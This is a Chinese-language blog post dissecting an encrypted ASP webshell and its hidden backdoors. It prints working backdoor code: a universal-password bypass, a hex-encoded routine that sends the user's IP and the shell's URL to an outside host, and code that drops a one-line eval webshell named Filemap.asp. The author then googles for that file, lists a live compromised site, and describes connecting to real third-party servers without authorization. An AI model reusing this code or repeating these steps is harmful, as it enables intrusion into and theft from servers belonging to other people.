这个shell不知道是那个朋友给我的,实在记不住了。这个文件加密没有什么特点,但是其留后门的方式非常的有意思,比较独特。咱们一起来欣赏这个shell的作品。
先上图
解密不用多说,是十三的逆向加密方式
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, “╁”, “”””)
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> “╋” Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else
ShiSanNewStr = vbCrLf & ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
黑客伟加密
function UnEncode(temp)
but=80
for i = 1 to len(temp)
if mid(temp,i,1)<> “琳” then
If Asc(Mid(temp, i, 1)) < 32 or Asc(Mid(temp, i, 1)) > 126 Then
a = a & Chr(Asc(Mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
if pk>126 then
pk=pk-95
elseif pk<32 then pk=pk+95 end if a=a&chr(pk) end if else a=a&vbcrlf end if next UnEncode=a end function
批量解密之。
下面看后门。
首先看黑客伟加密的部分。
if request(“x”)=”x” then
Session(“web2a2dmin”) = UserPass
URL()
end if
If Session(“web2a2dmin”) <> UserPass Then
If Request.Form(“Pass”) <> “” Then
If Request.Form(“Pass”) = UserPass Then
Session(“web2a2dmin”) = UserPass
Response.Redirect URL
Else
response.write” 验证 失败 !”
End If
非常明显的万能密码test.asp?x=x
另外一个后门就比较有意思了。
对后门地址进行了urlencode,转成了十六进制的数据,看代码
Userip=Request.ServerVariables(“HTTP_X_FORWARDED_FOR”)
If trim(userip)=”” Then
Userip=Request.ServerVariables(“REMOTE_ADDR”)
end if
Userhttp=request.serverVariables(“HTTP_REFERER”)
UrlAdd=”http://%77%77%77%2E%31%30%30%61%67%65%2E%63%6E/%73%68%6F%70%76%78/%4A%53%2E%61%73%70?%6D%73%67=”
UrlAdd=UrlAdd&Userip&” : “&Userhttp& “
”
GetUrl(UrlAdd)
首先判断是否使用代理服务器,如果使用了就用HTTP_X_FORWARDED_FOR获取真实ip,如果没有就用REMOTE_ADDR获取ip。之后利用HTTP_REFERER获取shell的地址。
将后门地址赋值给urladd,这里解密为http://www.100age.cn/shopvx/JS.asp?msg=,之后利用Geturl函数将ip及shell地址作为参数发送到后门地址处理。
Geturl函数如下
Function GetUrl(UrlAdd)
set OpenSend=createobject(“Microsoft.XMLHTTP”)
SourceCode = OpenSend.open (“GET”,UrlAdd,false)
OpenSend.send
End Function
同样采用服务器的xmlhttp组件来发送,和悲伤邪恶的shell一样的方法,那么一般的方法在本地就抓包不出了。
那么密码怎么拿到了,这是这个shell另外一个比较有意思的地方,他是万能密码,但是他不是在这个文件中插入万能密码,而是登陆的时候在shell同文件夹下生成一个名为Filemap.asp的一句话后门。
这个点子还是不错的,也算是一种新的后门方式了。看代码
TempString=”<%eval request(""baomi"")%"&">”
Set Fso = Server.CreateObject(“Scripting.FileSystemObject”)
Set Fout = Fso.CreateTextFile(Server.Mappath(“Filemap.asp”))
Fout.Write tempString
Fout.Close
Set Fout = Nothing
Set Fso = Nothing
这样的话就ok了,只要登录马上生成一个内容为<%eval request("baomi")的一句话后门,那么直接登录就行了,这里密码我修改了,还是要保护下。
那么下面我们测试下这个东东,我在gogole上搜索Filemap.asp
看中一个image文件夹下的Filemap.asp
http://www.job365.org/Portals/176/zdxingxiang/admin/images/Filemap.asp
丢入工具,输入密码,成功连接
我再google一下“火狐NEW WebShell”
测试了粉红色部分的网址,都是可以连接的,第一个网址shell不能运行,但是一句话是可以连接的,第二个都可以连接。
还有几个都是有用的,虽然不多,但是我希望别随便动数据。
好了,总结下,那么以后看到这种shell首先就是试试万能密码是否ok,然后就可以试试那个一句话连接。或许可以省不少力气呢。
加密shell文件:
点击下载此文件